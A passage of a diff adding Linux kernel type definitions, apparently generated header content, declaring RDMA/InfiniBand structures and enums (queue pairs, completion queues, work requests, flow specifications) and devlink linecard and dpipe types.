cq_pools_lock; + struct list_head cq_pools[3]; + struct rdma_restrack_root *res; + const struct uapi_definition *driver_def; + refcount_t refcount; + struct completion unreg_completion; + struct work_struct unregistration_work; + const struct rdma_link_ops *link_ops; + struct mutex compat_devs_mutex; + struct xarray compat_devs; + char iw_ifname[16]; + u32 iw_driver_flags; + u32 lag_flags; +}; + +enum ib_signature_type { + IB_SIG_TYPE_NONE = 0, + IB_SIG_TYPE_T10_DIF = 1, +}; + +enum ib_t10_dif_bg_type { + IB_T10DIF_CRC = 0, + IB_T10DIF_CSUM = 1, +}; + +struct ib_t10_dif_domain { + enum ib_t10_dif_bg_type bg_type; + u16 pi_interval; + u16 bg; + u16 app_tag; + u32 ref_tag; + bool ref_remap; + bool app_escape; + bool ref_escape; + u16 apptag_check_mask; +}; + +struct ib_sig_domain { + enum ib_signature_type sig_type; + union { + struct ib_t10_dif_domain dif; + } sig; +}; + +struct ib_sig_attrs { + u8 check_mask; + struct ib_sig_domain mem; + struct ib_sig_domain wire; + int meta_length; +}; + +enum ib_sig_err_type { + IB_SIG_BAD_GUARD = 0, + IB_SIG_BAD_REFTAG = 1, + IB_SIG_BAD_APPTAG = 2, +}; + +struct ib_sig_err { + enum ib_sig_err_type err_type; + u32 expected; + u32 actual; + u64 sig_err_offset; + u32 key; +}; + +enum ib_gid_type { + IB_GID_TYPE_IB = 0, + IB_GID_TYPE_ROCE = 1, + IB_GID_TYPE_ROCE_UDP_ENCAP = 2, + IB_GID_TYPE_SIZE = 3, +}; + +struct ib_gid_attr { + struct net_device *ndev; + struct ib_device *device; + union ib_gid gid; + enum ib_gid_type gid_type; + u16 index; + u32 port_num; +}; + +struct ib_cq_init_attr { + unsigned int cqe; + u32 comp_vector; + u32 flags; +}; + +struct ib_dm_mr_attr { + u64 length; + u64 offset; + u32 access_flags; +}; + +struct ib_dm_alloc_attr { + u64 length; + u32 alignment; + u32 flags; +}; + +enum ib_mtu { + IB_MTU_256 = 1, + IB_MTU_512 = 2, + IB_MTU_1024 = 3, + IB_MTU_2048 = 4, + IB_MTU_4096 = 5, +}; + +enum ib_port_state { + IB_PORT_NOP = 0, + IB_PORT_DOWN = 1, + IB_PORT_INIT = 2, + IB_PORT_ARMED = 3, + IB_PORT_ACTIVE = 4, + IB_PORT_ACTIVE_DEFER = 5, +}; + +struct rdma_stat_desc { + const char *name; + unsigned int flags; + const void *priv; +}; + +struct ib_port_attr { + u64 subnet_prefix; + enum ib_port_state state; + enum ib_mtu max_mtu; + enum ib_mtu active_mtu; + u32 phys_mtu; + int gid_tbl_len; + unsigned int ip_gids: 1; + u32 port_cap_flags; + u32 max_msg_sz; + u32 bad_pkey_cntr; + u32 qkey_viol_cntr; + u16 pkey_tbl_len; + u32 sm_lid; + u32 lid; + u8 lmc; + u8 max_vl_num; + u8 sm_sl; + u8 subnet_timeout; + u8 init_type_reply; + u8 active_width; + u16 active_speed; + u8 phys_state; + u16 port_cap_flags2; +}; + +struct ib_device_modify { + u64 sys_image_guid; + char node_desc[64]; +}; + +struct ib_port_modify { + u32 set_port_cap_mask; + u32 clr_port_cap_mask; + u8 init_type; +}; + +enum ib_event_type { + IB_EVENT_CQ_ERR = 0, + IB_EVENT_QP_FATAL = 1, + IB_EVENT_QP_REQ_ERR = 2, + IB_EVENT_QP_ACCESS_ERR = 3, + IB_EVENT_COMM_EST = 4, + IB_EVENT_SQ_DRAINED = 5, + IB_EVENT_PATH_MIG = 6, + IB_EVENT_PATH_MIG_ERR = 7, + IB_EVENT_DEVICE_FATAL = 8, + IB_EVENT_PORT_ACTIVE = 9, + IB_EVENT_PORT_ERR = 10, + IB_EVENT_LID_CHANGE = 11, + IB_EVENT_PKEY_CHANGE = 12, + IB_EVENT_SM_CHANGE = 13, + IB_EVENT_SRQ_ERR = 14, + IB_EVENT_SRQ_LIMIT_REACHED = 15, + IB_EVENT_QP_LAST_WQE_REACHED = 16, + IB_EVENT_CLIENT_REREGISTER = 17, + IB_EVENT_GID_CHANGE = 18, + IB_EVENT_WQ_FATAL = 19, +}; + +struct ib_ucq_object; + +typedef void (*ib_comp_handler)(struct ib_cq *, void *); + +struct ib_event; + +struct ib_cq { + struct ib_device *device; + struct ib_ucq_object *uobject; + ib_comp_handler comp_handler; + void (*event_handler)(struct ib_event *, void *); + void *cq_context; + int cqe; + unsigned int cqe_used; + atomic_t usecnt; + enum ib_poll_context poll_ctx; + struct ib_wc *wc; + struct list_head pool_entry; + union { + struct irq_poll iop; + struct work_struct work; + }; + struct workqueue_struct *comp_wq; + struct dim *dim; + ktime_t timestamp; + u8 interrupt: 1; + u8 shared: 1; + unsigned int comp_vector; + struct rdma_restrack_entry res; +}; + +struct ib_uqp_object; + +enum ib_qp_type { + IB_QPT_SMI = 0, + IB_QPT_GSI = 1, + IB_QPT_RC = 2, + IB_QPT_UC = 3, + IB_QPT_UD = 4, + IB_QPT_RAW_IPV6 = 5, + IB_QPT_RAW_ETHERTYPE = 6, + IB_QPT_RAW_PACKET = 8, + IB_QPT_XRC_INI = 9, + IB_QPT_XRC_TGT = 10, + IB_QPT_MAX = 11, + IB_QPT_DRIVER = 255, + IB_QPT_RESERVED1 = 4096, + IB_QPT_RESERVED2 = 4097, + IB_QPT_RESERVED3 = 4098, + IB_QPT_RESERVED4 = 4099, + IB_QPT_RESERVED5 = 4100, + IB_QPT_RESERVED6 = 4101, + IB_QPT_RESERVED7 = 4102, + IB_QPT_RESERVED8 = 4103, + IB_QPT_RESERVED9 = 4104, + IB_QPT_RESERVED10 = 4105, +}; + +struct ib_qp_security; + +struct ib_qp { + struct ib_device *device; + struct ib_pd *pd; + struct ib_cq *send_cq; + struct ib_cq *recv_cq; + spinlock_t mr_lock; + int mrs_used; + struct list_head rdma_mrs; + struct list_head sig_mrs; + struct ib_srq *srq; + struct ib_xrcd *xrcd; + struct list_head xrcd_list; + atomic_t usecnt; + struct list_head open_list; + struct ib_qp *real_qp; + struct ib_uqp_object *uobject; + void (*event_handler)(struct ib_event *, void *); + void *qp_context; + const struct ib_gid_attr *av_sgid_attr; + const struct ib_gid_attr *alt_path_sgid_attr; + u32 qp_num; + u32 max_write_sge; + u32 max_read_sge; + enum ib_qp_type qp_type; + struct ib_rwq_ind_table *rwq_ind_tbl; + struct ib_qp_security *qp_sec; + u32 port; + bool integrity_en; + struct rdma_restrack_entry res; + struct rdma_counter *counter; +}; + +struct ib_usrq_object; + +enum ib_srq_type { + IB_SRQT_BASIC = 0, + IB_SRQT_XRC = 1, + IB_SRQT_TM = 2, +}; + +struct ib_srq { + struct ib_device *device; + struct ib_pd *pd; + struct ib_usrq_object *uobject; + void (*event_handler)(struct ib_event *, void *); + void *srq_context; + enum ib_srq_type srq_type; + atomic_t usecnt; + struct { + struct ib_cq *cq; + union { + struct { + struct ib_xrcd *xrcd; + u32 srq_num; + } xrc; + }; + } ext; + struct rdma_restrack_entry res; +}; + +struct ib_uwq_object; + +enum ib_wq_state { + IB_WQS_RESET = 0, + IB_WQS_RDY = 1, + IB_WQS_ERR = 2, +}; + +enum ib_wq_type { + IB_WQT_RQ = 0, +}; + +struct ib_wq { + struct ib_device *device; + struct ib_uwq_object *uobject; + void *wq_context; + void (*event_handler)(struct ib_event *, void *); + struct ib_pd *pd; + struct ib_cq *cq; + u32 wq_num; + enum ib_wq_state state; + enum ib_wq_type wq_type; + atomic_t usecnt; +}; + +struct ib_event { + struct ib_device *device; + union { + struct ib_cq *cq; + struct ib_qp *qp; + struct ib_srq *srq; + struct ib_wq *wq; + u32 port_num; + } element; + enum ib_event_type event; +}; + +struct ib_global_route { + const struct ib_gid_attr *sgid_attr; + union ib_gid dgid; + u32 flow_label; + u8 sgid_index; + u8 hop_limit; + u8 traffic_class; +}; + +struct ib_grh { + __be32 version_tclass_flow; + __be16 paylen; + u8 next_hdr; + u8 hop_limit; + union ib_gid sgid; + union ib_gid dgid; +}; + +struct ib_mr_status { + u32 fail_status; + struct ib_sig_err sig_err; +}; + +struct rdma_ah_init_attr { + struct rdma_ah_attr *ah_attr; + u32 flags; + struct net_device *xmit_slave; +}; + +enum rdma_ah_attr_type { + RDMA_AH_ATTR_TYPE_UNDEFINED = 0, + RDMA_AH_ATTR_TYPE_IB = 1, + RDMA_AH_ATTR_TYPE_ROCE = 2, + RDMA_AH_ATTR_TYPE_OPA = 3, +}; + +struct ib_ah_attr { + u16 dlid; + u8 src_path_bits; +}; + +struct roce_ah_attr { + u8 dmac[6]; +}; + +struct opa_ah_attr { + u32 dlid; + u8 src_path_bits; + bool make_grd; +}; + +struct rdma_ah_attr { + struct ib_global_route grh; + u8 sl; + u8 static_rate; + u32 port_num; + u8 ah_flags; + enum rdma_ah_attr_type type; + union { + struct ib_ah_attr ib; + struct roce_ah_attr roce; + struct opa_ah_attr opa; + }; +}; + +enum ib_wc_status { + IB_WC_SUCCESS = 0, + IB_WC_LOC_LEN_ERR = 1, + IB_WC_LOC_QP_OP_ERR = 2, + IB_WC_LOC_EEC_OP_ERR = 3, + IB_WC_LOC_PROT_ERR = 4, + IB_WC_WR_FLUSH_ERR = 5, + IB_WC_MW_BIND_ERR = 6, + IB_WC_BAD_RESP_ERR = 7, + IB_WC_LOC_ACCESS_ERR = 8, + IB_WC_REM_INV_REQ_ERR = 9, + IB_WC_REM_ACCESS_ERR = 10, + IB_WC_REM_OP_ERR = 11, + IB_WC_RETRY_EXC_ERR = 12, + IB_WC_RNR_RETRY_EXC_ERR = 13, + IB_WC_LOC_RDD_VIOL_ERR = 14, + IB_WC_REM_INV_RD_REQ_ERR = 15, + IB_WC_REM_ABORT_ERR = 16, + IB_WC_INV_EECN_ERR = 17, + IB_WC_INV_EEC_STATE_ERR = 18, + IB_WC_FATAL_ERR = 19, + IB_WC_RESP_TIMEOUT_ERR = 20, + IB_WC_GENERAL_ERR = 21, +}; + +enum ib_wc_opcode { + IB_WC_SEND = 0, + IB_WC_RDMA_WRITE = 1, + IB_WC_RDMA_READ = 2, + IB_WC_COMP_SWAP = 3, + IB_WC_FETCH_ADD = 4, + IB_WC_BIND_MW = 5, + IB_WC_LOCAL_INV = 6, + IB_WC_LSO = 7, + IB_WC_ATOMIC_WRITE = 9, + IB_WC_REG_MR = 10, + IB_WC_MASKED_COMP_SWAP = 11, + IB_WC_MASKED_FETCH_ADD = 12, + IB_WC_FLUSH = 8, + IB_WC_RECV = 128, + IB_WC_RECV_RDMA_WITH_IMM = 129, +}; + +struct ib_cqe { + void (*done)(struct ib_cq *, struct ib_wc *); +}; + +struct ib_wc { + union { + u64 wr_id; + struct ib_cqe *wr_cqe; + }; + enum ib_wc_status status; + enum ib_wc_opcode opcode; + u32 vendor_err; + u32 byte_len; + struct ib_qp *qp; + union { + __be32 imm_data; + u32 invalidate_rkey; + } ex; + u32 src_qp; + u32 slid; + int wc_flags; + u16 pkey_index; + u8 sl; + u8 dlid_path_bits; + u32 port_num; + u8 smac[6]; + u16 vlan_id; + u8 network_hdr_type; +}; + +struct ib_srq_attr { + u32 max_wr; + u32 max_sge; + u32 srq_limit; +}; + +struct ib_xrcd { + struct ib_device *device; + atomic_t usecnt; + struct inode *inode; + struct rw_semaphore tgt_qps_rwsem; + struct xarray tgt_qps; +}; + +struct ib_srq_init_attr { + void (*event_handler)(struct ib_event *, void *); + void *srq_context; + struct ib_srq_attr attr; + enum ib_srq_type srq_type; + struct { + struct ib_cq *cq; + union { + struct { + struct ib_xrcd *xrcd; + } xrc; + struct { + u32 max_num_tags; + } tag_matching; + }; + } ext; +}; + +struct ib_qp_cap { + u32 max_send_wr; + u32 max_recv_wr; + u32 max_send_sge; + u32 max_recv_sge; + u32 max_inline_data; + u32 max_rdma_ctxs; +}; + +enum ib_sig_type { + IB_SIGNAL_ALL_WR = 0, + IB_SIGNAL_REQ_WR = 1, +}; + +struct ib_qp_init_attr { + void (*event_handler)(struct ib_event *, void *); + void *qp_context; + struct ib_cq *send_cq; + struct ib_cq *recv_cq; + struct ib_srq *srq; + struct ib_xrcd *xrcd; + struct ib_qp_cap cap; + enum ib_sig_type sq_sig_type; + enum ib_qp_type qp_type; + u32 create_flags; + u32 port_num; + struct ib_rwq_ind_table *rwq_ind_tbl; + u32 source_qpn; +}; + +struct ib_uobject; + +struct ib_rwq_ind_table { + struct ib_device *device; + struct ib_uobject *uobject; + atomic_t usecnt; + u32 ind_tbl_num; + u32 log_ind_tbl_size; + struct ib_wq **ind_tbl; +}; + +enum ib_qp_state { + IB_QPS_RESET = 0, + IB_QPS_INIT = 1, + IB_QPS_RTR = 2, + IB_QPS_RTS = 3, + IB_QPS_SQD = 4, + IB_QPS_SQE = 5, + IB_QPS_ERR = 6, +}; + +enum ib_mig_state { + IB_MIG_MIGRATED = 0, + IB_MIG_REARM = 1, + IB_MIG_ARMED = 2, +}; + +enum ib_mw_type { + IB_MW_TYPE_1 = 1, + IB_MW_TYPE_2 = 2, +}; + +struct ib_qp_attr { + enum ib_qp_state qp_state; + enum ib_qp_state cur_qp_state; + enum ib_mtu path_mtu; + enum ib_mig_state path_mig_state; + u32 qkey; + u32 rq_psn; + u32 sq_psn; + u32 dest_qp_num; + int qp_access_flags; + struct ib_qp_cap cap; + struct rdma_ah_attr ah_attr; + struct rdma_ah_attr alt_ah_attr; + u16 pkey_index; + u16 alt_pkey_index; + u8 en_sqd_async_notify; + u8 sq_draining; + u8 max_rd_atomic; + u8 max_dest_rd_atomic; + u8 min_rnr_timer; + u32 port_num; + u8 timeout; + u8 retry_cnt; + u8 rnr_retry; + u32 alt_port_num; + u8 alt_timeout; + u32 rate_limit; + struct net_device *xmit_slave; +}; + +enum ib_wr_opcode { + IB_WR_RDMA_WRITE = 0, + IB_WR_RDMA_WRITE_WITH_IMM = 1, + IB_WR_SEND = 2, + IB_WR_SEND_WITH_IMM = 3, + IB_WR_RDMA_READ = 4, + IB_WR_ATOMIC_CMP_AND_SWP = 5, + IB_WR_ATOMIC_FETCH_AND_ADD = 6, + IB_WR_BIND_MW = 8, + IB_WR_LSO = 10, + IB_WR_SEND_WITH_INV = 9, + IB_WR_RDMA_READ_WITH_INV = 11, + IB_WR_LOCAL_INV = 7, + IB_WR_MASKED_ATOMIC_CMP_AND_SWP = 12, + IB_WR_MASKED_ATOMIC_FETCH_AND_ADD = 13, + IB_WR_FLUSH = 14, + IB_WR_ATOMIC_WRITE = 15, + IB_WR_REG_MR = 32, + IB_WR_REG_MR_INTEGRITY = 33, + IB_WR_RESERVED1 = 240, + IB_WR_RESERVED2 = 241, + IB_WR_RESERVED3 = 242, + IB_WR_RESERVED4 = 243, + IB_WR_RESERVED5 = 244, + IB_WR_RESERVED6 = 245, + IB_WR_RESERVED7 = 246, + IB_WR_RESERVED8 = 247, + IB_WR_RESERVED9 = 248, + IB_WR_RESERVED10 = 249, +}; + +struct ib_sge { + u64 addr; + u32 length; + u32 lkey; +}; + +struct ib_send_wr { + struct ib_send_wr *next; + union { + u64 wr_id; + struct ib_cqe *wr_cqe; + }; + struct ib_sge *sg_list; + int num_sge; + enum ib_wr_opcode opcode; + int send_flags; + union { + __be32 imm_data; + u32 invalidate_rkey; + } ex; +}; + +struct ib_ah { + struct ib_device *device; + struct ib_pd *pd; + struct ib_uobject *uobject; + const struct ib_gid_attr *sgid_attr; + enum rdma_ah_attr_type type; +}; + +struct ib_mr { + struct ib_device *device; + struct ib_pd *pd; + u32 lkey; + u32 rkey; + u64 iova; + u64 length; + unsigned int page_size; + enum ib_mr_type type; + bool need_inval; + union { + struct ib_uobject *uobject; + struct list_head qp_entry; + }; + struct ib_dm *dm; + struct ib_sig_attrs *sig_attrs; + struct rdma_restrack_entry res; +}; + +struct ib_recv_wr { + struct ib_recv_wr *next; + union { + u64 wr_id; + struct ib_cqe *wr_cqe; + }; + struct ib_sge *sg_list; + int num_sge; +}; + +struct ib_rdmacg_object {}; + +struct ib_uverbs_file; + +struct ib_ucontext { + struct ib_device *device; + struct ib_uverbs_file *ufile; + struct ib_rdmacg_object cg_obj; + struct rdma_restrack_entry res; + struct xarray mmap_xa; +}; + +struct uverbs_api_object; + +struct ib_uobject { + u64 user_handle; + struct ib_uverbs_file *ufile; + struct ib_ucontext *context; + void *object; + struct list_head list; + struct ib_rdmacg_object cg_obj; + int id; + struct kref ref; + atomic_t usecnt; + struct callback_head rcu; + const struct uverbs_api_object *uapi_object; +}; + +struct ib_udata { + const void *inbuf; + void *outbuf; + size_t inlen; + size_t outlen; +}; + +struct ib_pd { + u32 local_dma_lkey; + u32 flags; + struct ib_device *device; + struct ib_uobject *uobject; + atomic_t usecnt; + u32 unsafe_global_rkey; + struct ib_mr *__internal_mr; + struct rdma_restrack_entry res; +}; + +struct ib_wq_init_attr { + void *wq_context; + enum ib_wq_type wq_type; + u32 max_wr; + u32 max_sge; + struct ib_cq *cq; + void (*event_handler)(struct ib_event *, void *); + u32 create_flags; +}; + +struct ib_wq_attr { + enum ib_wq_state wq_state; + enum ib_wq_state curr_wq_state; + u32 flags; + u32 flags_mask; +}; + +struct ib_rwq_ind_table_init_attr { + u32 log_ind_tbl_size; + struct ib_wq **ind_tbl; +}; + +enum port_pkey_state { + IB_PORT_PKEY_NOT_VALID = 0, + IB_PORT_PKEY_VALID = 1, + IB_PORT_PKEY_LISTED = 2, +}; + +struct ib_port_pkey { + enum port_pkey_state state; + u16 pkey_index; + u32 port_num; + struct list_head qp_list; + struct list_head to_error_list; + struct ib_qp_security *sec; +}; + +struct ib_ports_pkeys; + +struct ib_qp_security { + struct ib_qp *qp; + struct ib_device *dev; + struct mutex mutex; + struct ib_ports_pkeys *ports_pkeys; + struct list_head shared_qp_list; + void *security; + bool destroying; + atomic_t error_list_count; + struct completion error_complete; + int error_comps_pending; +}; + +struct ib_ports_pkeys { + struct ib_port_pkey main; + struct ib_port_pkey alt; +}; + +struct ib_dm { + struct ib_device *device; + u32 length; + u32 flags; + struct ib_uobject *uobject; + atomic_t usecnt; +}; + +struct ib_mw { + struct ib_device *device; + struct ib_pd *pd; + struct ib_uobject *uobject; + u32 rkey; + enum ib_mw_type type; +}; + +enum ib_flow_attr_type { + IB_FLOW_ATTR_NORMAL = 0, + IB_FLOW_ATTR_ALL_DEFAULT = 1, + IB_FLOW_ATTR_MC_DEFAULT = 2, + IB_FLOW_ATTR_SNIFFER = 3, +}; + +enum ib_flow_spec_type { + IB_FLOW_SPEC_ETH = 32, + IB_FLOW_SPEC_IB = 34, + IB_FLOW_SPEC_IPV4 = 48, + IB_FLOW_SPEC_IPV6 = 49, + IB_FLOW_SPEC_ESP = 52, + IB_FLOW_SPEC_TCP = 64, + IB_FLOW_SPEC_UDP = 65, + IB_FLOW_SPEC_VXLAN_TUNNEL = 80, + IB_FLOW_SPEC_GRE = 81, + IB_FLOW_SPEC_MPLS = 96, + IB_FLOW_SPEC_INNER = 256, + IB_FLOW_SPEC_ACTION_TAG = 4096, + IB_FLOW_SPEC_ACTION_DROP = 4097, + IB_FLOW_SPEC_ACTION_HANDLE = 4098, + IB_FLOW_SPEC_ACTION_COUNT = 4099, +}; + +struct ib_flow_eth_filter { + u8 dst_mac[6]; + u8 src_mac[6]; + __be16 ether_type; + __be16 vlan_tag; + u8 real_sz[0]; +}; + +struct ib_flow_spec_eth { + u32 type; + u16 size; + struct ib_flow_eth_filter val; + struct ib_flow_eth_filter mask; +}; + +struct ib_flow_ib_filter { + __be16 dlid; + __u8 sl; + u8 real_sz[0]; +}; + +struct ib_flow_spec_ib { + u32 type; + u16 size; + struct ib_flow_ib_filter val; + struct ib_flow_ib_filter mask; +}; + +struct ib_flow_ipv4_filter { + __be32 src_ip; + __be32 dst_ip; + u8 proto; + u8 tos; + u8 ttl; + u8 flags; + u8 real_sz[0]; +}; + +struct ib_flow_spec_ipv4 { + u32 type; + u16 size; + struct ib_flow_ipv4_filter val; + struct ib_flow_ipv4_filter mask; +}; + +struct ib_flow_ipv6_filter { + u8 src_ip[16]; + u8 dst_ip[16]; + __be32 flow_label; + u8 next_hdr; + u8 traffic_class; + u8 hop_limit; + u8 real_sz[0]; +}; + +struct ib_flow_spec_ipv6 { + u32 type; + u16 size; + struct ib_flow_ipv6_filter val; + struct ib_flow_ipv6_filter mask; +}; + +struct ib_flow_tcp_udp_filter { + __be16 dst_port; + __be16 src_port; + u8 real_sz[0]; +}; + +struct ib_flow_spec_tcp_udp { + u32 type; + u16 size; + struct ib_flow_tcp_udp_filter val; + struct ib_flow_tcp_udp_filter mask; +}; + +struct ib_flow_tunnel_filter { + __be32 tunnel_id; + u8 real_sz[0]; +}; + +struct ib_flow_spec_tunnel { + u32 type; + u16 size; + struct ib_flow_tunnel_filter val; + struct ib_flow_tunnel_filter mask; +}; + +struct ib_flow_esp_filter { + __be32 spi; + __be32 seq; + u8 real_sz[0]; +}; + +struct ib_flow_spec_esp { + u32 type; + u16 size; + struct ib_flow_esp_filter val; + struct ib_flow_esp_filter mask; +}; + +struct ib_flow_gre_filter { + __be16 c_ks_res0_ver; + __be16 protocol; + __be32 key; + u8 real_sz[0]; +}; + +struct ib_flow_spec_gre { + u32 type; + u16 size; + struct ib_flow_gre_filter val; + struct ib_flow_gre_filter mask; +}; + +struct ib_flow_mpls_filter { + __be32 tag; + u8 real_sz[0]; +}; + +struct ib_flow_spec_mpls { + u32 type; + u16 size; + struct ib_flow_mpls_filter val; + struct ib_flow_mpls_filter mask; +}; + +struct ib_flow_spec_action_tag { + enum ib_flow_spec_type type; + u16 size; + u32 tag_id; +}; + +struct ib_flow_spec_action_drop { + enum ib_flow_spec_type type; + u16 size; +}; + +struct ib_flow_spec_action_handle { + enum ib_flow_spec_type type; + u16 size; + struct ib_flow_action *act; +}; + +enum ib_flow_action_type { + IB_FLOW_ACTION_UNSPECIFIED = 0, + IB_FLOW_ACTION_ESP = 1, +}; + +struct ib_flow_action { + struct ib_device *device; + struct ib_uobject *uobject; + enum ib_flow_action_type type; + atomic_t usecnt; +}; + +struct ib_flow_spec_action_count { + enum ib_flow_spec_type type; + u16 size; + struct ib_counters *counters; +}; + +struct ib_counters { + struct ib_device *device; + struct ib_uobject *uobject; + atomic_t usecnt; +}; + +union ib_flow_spec { + struct { + u32 type; + u16 size; + }; + struct ib_flow_spec_eth eth; + struct ib_flow_spec_ib ib; + struct ib_flow_spec_ipv4 ipv4; + struct ib_flow_spec_tcp_udp tcp_udp; + struct ib_flow_spec_ipv6 ipv6; + struct ib_flow_spec_tunnel tunnel; + struct ib_flow_spec_esp esp; + struct ib_flow_spec_gre gre; + struct ib_flow_spec_mpls mpls; + struct ib_flow_spec_action_tag flow_tag; + struct ib_flow_spec_action_drop drop; + struct ib_flow_spec_action_handle action; + struct ib_flow_spec_action_count flow_count; +}; + +struct ib_flow_attr { + enum ib_flow_attr_type type; + u16 size; + u16 priority; + u32 flags; + u8 num_of_specs; + u32 port; + union ib_flow_spec flows[0]; +}; + +struct ib_flow { + struct ib_qp *qp; + struct ib_device *device; + struct ib_uobject *uobject; +}; + +struct ib_pkey_cache; + +struct ib_gid_table; + +struct ib_port_cache { + u64 subnet_prefix; + struct ib_pkey_cache *pkey; + struct ib_gid_table *gid; + u8 lmc; + enum ib_port_state port_state; +}; + +struct ib_port_immutable { + int pkey_tbl_len; + int gid_tbl_len; + u32 core_cap_flags; + u32 max_mad_size; +}; + +struct ib_port; + +struct ib_port_data { + struct ib_device *ib_dev; + struct ib_port_immutable immutable; + spinlock_t pkey_list_lock; + spinlock_t netdev_lock; + struct list_head pkey_list; + struct ib_port_cache cache; + struct net_device *netdev; + netdevice_tracker netdev_tracker; + struct hlist_node ndev_hash_link; + struct rdma_port_counter port_counter; + struct ib_port *sysfs; +}; + +struct rdma_netdev_alloc_params { + size_t sizeof_priv; + unsigned int txqs; + unsigned int rxqs; + void *param; + int (*initialize_rdma_netdev)(struct ib_device *, u32, struct net_device *, void *); +}; + +struct ib_counters_read_attr { + u64 *counters_buff; + u32 ncounters; + u32 flags; +}; + +struct rdma_user_mmap_entry { + struct kref ref; + struct ib_ucontext *ucontext; + long unsigned int start_pgoff; + size_t npages; + bool driver_removed; +}; + +enum { + DEVLINK_ATTR_STATS_RX_PACKETS = 0, + DEVLINK_ATTR_STATS_RX_BYTES = 1, + DEVLINK_ATTR_STATS_RX_DROPPED = 2, + __DEVLINK_ATTR_STATS_MAX = 3, + DEVLINK_ATTR_STATS_MAX = 2, +}; + +enum { + DEVLINK_ATTR_TRAP_METADATA_TYPE_IN_PORT = 0, + DEVLINK_ATTR_TRAP_METADATA_TYPE_FA_COOKIE = 1, +}; + +enum devlink_linecard_state { + DEVLINK_LINECARD_STATE_UNSPEC = 0, + DEVLINK_LINECARD_STATE_UNPROVISIONED = 1, + DEVLINK_LINECARD_STATE_UNPROVISIONING = 2, + DEVLINK_LINECARD_STATE_PROVISIONING = 3, + DEVLINK_LINECARD_STATE_PROVISIONING_FAILED = 4, + DEVLINK_LINECARD_STATE_PROVISIONED = 5, + DEVLINK_LINECARD_STATE_ACTIVE = 6, + __DEVLINK_LINECARD_STATE_MAX = 7, + DEVLINK_LINECARD_STATE_MAX = 6, +}; + +enum devlink_dpipe_match_type { + DEVLINK_DPIPE_MATCH_TYPE_FIELD_EXACT = 0, +}; + +enum devlink_dpipe_action_type { + DEVLINK_DPIPE_ACTION_TYPE_FIELD_MODIFY = 0, +}; + +enum devlink_dpipe_field_ethernet_id { + DEVLINK_DPIPE_FIELD_ETHERNET_DST_MAC = 0, +}; + +enum devlink_dpipe_field_ipv4_id { + DEVLINK_DPIPE_FIELD_IPV4_DST_IP = 0, +}; + +enum devlink_dpipe_field_ipv6_id { + DEVLINK_DPIPE_FIELD_IPV6_DST_IP = 0, +}; + +enum devlink_dpipe_header_id { + DEVLINK_DPIPE_HEADER_ETHERNET = 0, + DEVLINK_DPIPE_HEADER_IPV4 = 1, + DEVLINK_DPIPE_HEADER_IPV6 = 2, +}; + +enum devlink_port_fn_attr_cap { + DEVLINK_PORT_FN_ATTR_CAP_ROCE_BIT = 0, + DEVLINK_PORT_FN_ATTR_CAP_MIGRATABLE_BIT = 1, + __DEVLINK_PORT_FN_ATTR_CAPS_MAX = 2, +}; + +enum devlink_port_function_attr { + DEVLINK_PORT_FUNCTION_ATTR_UNSPEC = 0, + DEVLINK_PORT_FUNCTION_ATTR_HW_ADDR = 1, + DEVLINK_PORT_FN_ATTR_STATE = 2, + DEVLINK_PORT_FN_ATTR_OPSTATE = 3, + DEVLINK_PORT_FN_ATTR_CAPS = 4, + __DEVLINK_PORT_FUNCTION_ATTR_MAX = 5, + DEVLINK_PORT_FUNCTION_ATTR_MAX = 4, +}; + +struct devlink_linecard_ops; + +struct devlink_linecard_type; + +struct devlink_linecard { + struct list_head list; + struct devlink *devlink; + unsigned int index; + const struct devlink_linecard_ops *ops; + void *priv; + enum devlink_linecard_state state; + struct mutex state_lock; + const char *type; + struct devlink_linecard_type *types; + unsigned int types_count; + struct devlink *nested_devlink; +}; + +struct devlink_linecard_ops { + int (*provision)(struct devlink_linecard *, void *, const char *, const void *, struct netlink_ext_ack *); + int (*unprovision)(struct devlink_linecard *, void *, struct netlink_ext_ack *); + bool (*same_provision)(struct devlink_linecard *, void *, const char *, const void *); + unsigned int (*types_count)(struct devlink_linecard *, void *); + void (*types_get)(struct devlink_linecard *, void *, unsigned int, const char **, const void **); +}; + +struct devlink_dpipe_match { + enum devlink_dpipe_match_type type; + unsigned int header_index; + struct devlink_dpipe_header *header; + unsigned int field_id; +}; + +struct devlink_dpipe_action { + enum devlink_dpipe_action_type type; + unsigned int header_index; + struct devlink_dpipe_header *header; + unsigned int field_id; +}; + +struct devlink_dpipe_value { + union { + struct devlink_dpipe_action *action; + struct devlink_dpipe_match *match; + }; + unsigned int mapping_value; + bool mapping_valid; + unsigned int value_size; + void *value; + void *mask; +}; + +struct devlink_dpipe_entry { + u64 index; + struct devlink_dpipe_value *match_values; + unsigned int match_values_count; + struct devlink_dpipe_value *action_values; + unsigned int action_values_count; + u64 counter; + bool counter_valid; +}; + +struct devlink_dpipe_dump_ctx { + struct genl_info *info; + enum devlink_command cmd; + struct sk_buff *skb; + struct nlattr *nest; + void *hdr; +}; + +struct devlink_dpipe_table_ops; + +struct devlink_dpipe_table { + void *priv; + struct list_head list; + const char *name; + bool counters_enabled; + bool counter_control_extern; + bool resource_valid; + u64 resource_id; + u64 resource_units; + struct devlink_dpipe_table_ops *table_ops; + struct callback_head rcu; +}; + +struct devlink_dpipe_table_ops { + int (*actions_dump)(void *, struct sk_buff *); + int (*matches_dump)(void *, struct sk_buff *); + int (*entries_dump)(void *, bool, struct devlink_dpipe_dump_ctx *); + int (*counters_set_update)(void *, bool); + u64 (*size_get)(void *); +}; + +typedef u64 devlink_resource_occ_get_t(void *); + +struct devlink_param_item { + struct list_head list; + const struct devlink_param *param; + union devlink_param_value driverinit_value; + bool driverinit_value_valid; + union devlink_param_value driverinit_value_new; + bool driverinit_value_new_valid; +}; + +struct devlink_port_region_ops { + const char *name; + void (*destructor)(const void *); + int (*snapshot)(struct devlink_port *, const struct devlink_port_region_ops *, struct netlink_ext_ack *, u8 **); + int (*read)(struct devlink_port *, const struct devlink_port_region_ops *, struct netlink_ext_ack *, u64, u32, u8 *); + void *priv; +}; + +struct devlink_trap_metadata { + const char *trap_name; + const char *trap_group_name; + struct net_device *input_dev; + netdevice_tracker dev_tracker; + const struct flow_action_cookie *fa_cookie; + enum devlink_trap_type trap_type; +}; + +struct trace_event_raw_devlink_hwmsg { + struct trace_entry ent; + u32 __data_loc_bus_name; + u32 __data_loc_dev_name; + u32 __data_loc_driver_name; + bool incoming; + long unsigned int type; + u32 __data_loc_buf; + size_t len; + char __data[0]; +}; + +struct trace_event_raw_devlink_hwerr { + struct trace_entry ent; + u32 __data_loc_bus_name; + u32 __data_loc_dev_name; + u32 